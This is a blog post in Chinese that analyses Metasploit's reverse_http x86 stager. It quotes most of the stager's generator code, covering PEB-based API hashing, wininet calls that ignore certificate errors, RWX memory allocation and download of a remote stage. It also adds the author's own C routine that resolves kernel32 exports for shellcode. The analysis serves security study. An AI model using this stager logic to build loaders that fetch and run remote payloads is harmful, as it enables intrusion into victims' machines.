metasploit reverse_http x86 shellcode stage分析
前言:metasploit的reverse_http模块的逆向分析笔记
参考文章: https://xz.aliyun.com/t/7996
stager环境初始化
stager初始化相关的操作,这里可以看到call start
,调用了start之后pop ebp
,最后会将asm_block_api
弹回到ebp中,这个ebp是一个核心功能,也就是通过这个ebp的call来获取相关模块的方法来执行HTTP的操作
# # Generate and compile the stager # def generate_reverse_http(opts={}) combined_asm = %Q^ cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: pop ebp #{asm_reverse_http(opts)} ^ Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string end
那么来看下关于asm_block_api
是什么东西,asm_block_api
定义的地方在 https://github.com/rapid7/metasploit-framework/blob/39455827aa9d525aa1f41f07aec1898f544b9ff8/data/shellcode/block_api.x86.graphml
,这里简单的来看下,可以看到其实应该就是通过PEB结构来遍历模块来获取相关模块的名称,然后通过hash计算相等来进行匹配
stager http配置项初始化
接着回来继续看,可以看到就是开始执行asm_reverse_http
了,这下面一开始就是根据在生成reverse_http payload的时候初始化的一些配置项,比如是否请求的服务段是否是http还是https等
retry_count = opts[:retry_count].to_i retry_wait = opts[:retry_wait].to_i * 1000 proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) proxy_info = "" if proxy_enabled if opts[:proxy_type].to_s.downcase == "socks" proxy_info << "socks=" else proxy_info << "http://" end proxy_info << opts[:proxy_host].to_s if opts[:proxy_port].to_i > 0 proxy_info << ":#{opts[:proxy_port]}" end end proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user] proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass] custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers]) http_open_flags = 0 secure_flags = 0 if opts[:ssl] http_open_flags = ( 0x80000000 | # INTERNET_FLAG_RELOAD 0x04000000 | # INTERNET_NO_CACHE_WRITE 0x00400000 | # INTERNET_FLAG_KEEP_CONNECTION 0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT 0x00080000 | # INTERNET_FLAG_NO_COOKIES 0x00000200 | # INTERNET_FLAG_NO_UI 0x00800000 | # INTERNET_FLAG_SECURE 0x00002000 | # INTERNET_FLAG_IGNORE_CERT_DATE_INVALID 0x00001000 ) # INTERNET_FLAG_IGNORE_CERT_CN_INVALID secure_flags = ( 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID 0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID 0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE 0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA 0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION else http_open_flags = ( 0x80000000 | # INTERNET_FLAG_RELOAD 0x04000000 | # INTERNET_NO_CACHE_WRITE 0x00400000 | # INTERNET_FLAG_KEEP_CONNECTION 0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT 0x00080000 | # INTERNET_FLAG_NO_COOKIES 0x00000200 ) # INTERNET_FLAG_NO_UI end
获取wininet模块
通过kernel32.dll获得LoadLibraryA的api_hash,通过call ebp获取LoadLibraryA的地址,然后通过LoadLibraryA去加载wininet模块
;-----------------------------------------------------------------------------; ; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) ;-----------------------------------------------------------------------------; ; Input: EBP must be the address of 'api_call'. ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) load_wininet: push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. push 0x696e6977 ; ... push esp ; Push a pointer to the "wininet" string on the stack. push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call ebp ; LoadLibraryA( "wininet" ) xor ebx, ebx ; Set ebx to NULL to use in future arguments
执行InternetOpenA
前面的工作都准备好了之后,这里就开始进行网络操作了,首先就是执行internetopen函数,这里会对proxy判断然后进行设置参数压入参数,user-agent判断设置参数压入参数,最后就是InternetOpenA
执行该函数获取相关句柄
asm << %Q^ internetopen: push ebx ; DWORD dwFlags ^ if proxy_enabled asm << %Q^ push esp ; LPCTSTR lpszProxyBypass ("" = empty string) call get_proxy_server db "#{proxy_info}", 0x00 get_proxy_server: ; LPCTSTR lpszProxyName (via call) push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) ^ else asm << %Q^ push ebx ; LPCTSTR lpszProxyBypass (NULL) push ebx ; LPCTSTR lpszProxyName (NULL) push ebx ; DWORD dwAccessType (PRECONFIG = 0) ^ end if opts[:ua].nil? asm << %Q^ push ebx ; LPCTSTR lpszAgent (NULL) ^ else asm << %Q^ push ebx ; LPCTSTR lpszProxyBypass (NULL) call get_useragent db "#{opts[:ua]}", 0x00 ; LPCTSTR lpszAgent (via call) get_useragent: ^ end asm << %Q^ push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} call ebp ^
执行InternetConnectA
InternetConnectA执行完了之后,会存储一个hConnection句柄到esi,因为后续的http操作还需要用到这个句柄
asm << %Q^ internetconnect: push ebx ; DWORD_PTR dwContext (NULL) push ebx ; dwFlags push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) push ebx ; password (NULL) push ebx ; username (NULL) push #{opts[:port]} ; PORT call got_server_uri ; double call to get pointer for both server_uri and server_host; server_uri is saved in EDI for later,这里还会将server_uri保存到EDI中 server_uri: ; db "#{opts[:url]}", 0x00 got_server_host: push eax ; HINTERNET hInternet (still in eax from InternetOpenA),上面调用的InternetOpenA句柄还存储到EAX中,因为这里InternetConnectA需要用到 push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')} call ebp mov esi, eax ; Store hConnection in esi ^
InternetSetOptionA
通过InternetSetOptionA来设置如果请求的是代理服务器的话,那么还需要需要验证,需要用到相关的用户和密码
if proxy_enabled && proxy_user asm << %Q^ ; DWORD dwBufferLength (length of username) push #{proxy_user.length} call set_proxy_username proxy_username: db "#{proxy_user}",0x00 set_proxy_username: ; LPVOID lpBuffer (username from previous call) push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) push esi ; hConnection push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} call ebp ^ end if proxy_enabled && proxy_pass asm << %Q^ ; DWORD dwBufferLength (length of password) push #{proxy_pass.length} call set_proxy_password proxy_password: db "#{proxy_pass}",0x00 set_proxy_password: ; LPVOID lpBuffer (password from previous call) push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) push esi ; hConnection push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} call ebp ^ end
HttpOpenRequestA
HttpOpenRequestA函数执行,然后保存获取到的request的句柄,后续有用到,并且这里还会继续重新请求的次数到edi中
asm << %Q^ httpopenrequest: push ebx ; dwContext (NULL) push #{"0x%.8x" % http_open_flags} ; dwFlags push ebx ; accept types push ebx ; referrer push ebx ; version push edi ; server URI push ebx ; method push esi ; hConnection push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')} call ebp xchg esi, eax ; save hHttpRequest in esi ^ if retry_count > 0 asm << %Q^ ; Store our retry counter in the edi register set_retry: push #{retry_count} pop edi ^ end
HttpSendRequestA
这里就是发送请求来请求最终的要执行的shellcode了,这里的话又会对hHttpRequest句柄进行InternetSetOptionA设置,然后再获取HttpSendRequestA,来进行发送HTTP请求,如果请求失败,还会根据retry_count变量来进行重复send_request请求,直到最后请求完了之后,判断是否请求成功,不成功的话就结束进程
asm << %Q^ send_request: ^ if opts[:ssl] asm << %Q^ ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); set_security_options: push 0x#{secure_flags.to_s(16)} mov eax, esp push 4 ; sizeof(dwFlags) push eax ; &dwFlags push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) push esi ; hHttpRequest push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} call ebp ^ end asm << %Q^ httpsendrequest: push ebx ; lpOptional length (0) push ebx ; lpOptional (NULL) ^ if custom_headers asm << %Q^ push -1 ; dwHeadersLength (assume NULL terminated) call get_req_headers ; lpszHeaders (pointer to the custom headers) db #{custom_headers} get_req_headers: ^ else asm << %Q^ push ebx ; HeadersLength (0) push ebx ; Headers (NULL) ^ end asm << %Q^ push esi ; hHttpRequest push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')} call ebp test eax,eax jnz allocate_memory set_wait: push #{retry_wait} ; dwMilliseconds push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} call ebp ; Sleep( dwMilliseconds ); ^ if retry_count > 0 asm << %Q^ try_it_again: dec edi jnz send_request ; if we didn't allocate before running out of retries, bail out ^ else asm << %Q^ try_it_again: jmp send_request ; retry forever ^ end if opts[:exitfunk] asm << %Q^ failure: call exitfunk ^ else asm << %Q^ failure: push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp ^ end
VirtualAlloc
如果上面请求成功的话,那么接着就是VirtualAlloc申请可读写内存
asm << %Q^ allocate_memory: push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (4Mb ought to do us) push ebx ; NULL as we dont care where the allocation is push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
InternetReadFile
接着获取要读取的字节数量,然后循环读取字节数到之前申请的内存中
download_prep: xchg eax, ebx ; place the allocated base address in ebx push ebx ; store a copy of the stage base address on the stack push ebx ; temporary storage for bytes read count mov edi, esp ; &bytesRead download_more: push edi ; &bytesRead push 8192 ; read length push ebx ; buffer push esi ; hRequest push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')} call ebp test eax,eax ; download failed? (optional?) jz failure mov eax, [edi] add ebx, eax ; buffer += bytes_received test eax,eax ; optional? jnz download_more ; continue until it returns 0 pop eax ; clear the temporary storage
win32 x86写shellcode
X86 PEB 获取导出函数地址代码
DWORD x86GetKernelBase(); DWORD x86GetApi(); DWORD x86GetKernelBase() { DWORD dwPEB; DWORD dwLDR; DWORD dwInitList; DWORD dwDllBase;//当前地址 PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针 PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针 DWORD dwVirtualAddress;//导出表偏移地址s PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针 PCHAR lpName; //指向dll名字的指针 CHAR szKernel32[] = "KERNEL32.dll"; __asm { mov eax, FS:[0x30]//fs:[0x30]获取PEB所在地址 NOP NOP NOP NOP NOP NOP mov dwPEB, eax // eax 复制给dwPEB NOP NOP NOP NOP NOP NOP } dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针 dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头指针 //第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针 for (; dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址 dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针 ) { pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase; pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew); dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移 pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址 lpName = (PCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字 if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll” { return dwDllBase; } } return 0; } DWORD x86GetApi(DWORD _hModule, PCHAR _lpApi) { DWORD i; DWORD dwLen; PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针 PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针 DWORD dwVirtualAddress;//导出表偏移地址 PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针 CHAR** lpAddressOfNames; PWORD lpAddressOfNameOrdinals;//计算API字符串的长度 for (i = 0; _lpApi[i]; ++i); dwLen = i; pImageDosHeader = (PIMAGE_DOS_HEADER)_hModule; pImageNtHeaders = (PIMAGE_NT_HEADERS)(_hModule + pImageDosHeader->e_lfanew); dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress; //导出表偏移 pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(_hModule + dwVirtualAddress); //导出表地址 lpAddressOfNames = (PCHAR*)(_hModule + pImageExportDirectory->AddressOfNames); //按名字导出函数列表 //遍历导出表的函数名来进行判断,然后返回指定函数名的函数地址 for (i = 0; _hModule + lpAddressOfNames[i]; i++) { if (strlen(_hModule + lpAddressOfNames[i]) == dwLen && !strcmp(_hModule + lpAddressOfNames[i], _lpApi))//判断是否为_lpApi { lpAddressOfNameOrdinals = (PWORD)(_hModule + pImageExportDirectory->AddressOfNameOrdinals);//按名字导出函数索引列表 return _hModule + ((PDWORD)(_hModule + pImageExportDirectory->AddressOfFunctions))[lpAddressOfNameOrdinals[i]];//根据函数索引找到函数地址 } } return 0; }
WIN32整体调用流程
//先Open void InternetOpenA( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags ); //再Connect void InternetConnectA( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext ); //再设置HTTP 的代理 username | pass [options] BOOLAPI InternetSetOptionA( HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength ); //正常Connect后,就可以请求连接, 获得一个Request句柄 void HttpOpenRequestA( HINTERNET hConnect, LPCSTR lpszVerb, LPCSTR lpszObjectName, LPCSTR lpszVersion, LPCSTR lpszReferrer, LPCSTR *lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext ); //发送请求 BOOLAPI HttpSendRequestA( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength ); //请求成功后,(连接上MSF);分配一块缓冲区 LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); //下载DLL BOOLAPI InternetReadFile( HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead );
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
2020-02-12 反汇编:内存中的数据类型
2020-02-12 数据在内存中的存储模式
2020-02-12 学习:MFC子类化
2020-02-12 GD库验证码生成/渲染绕过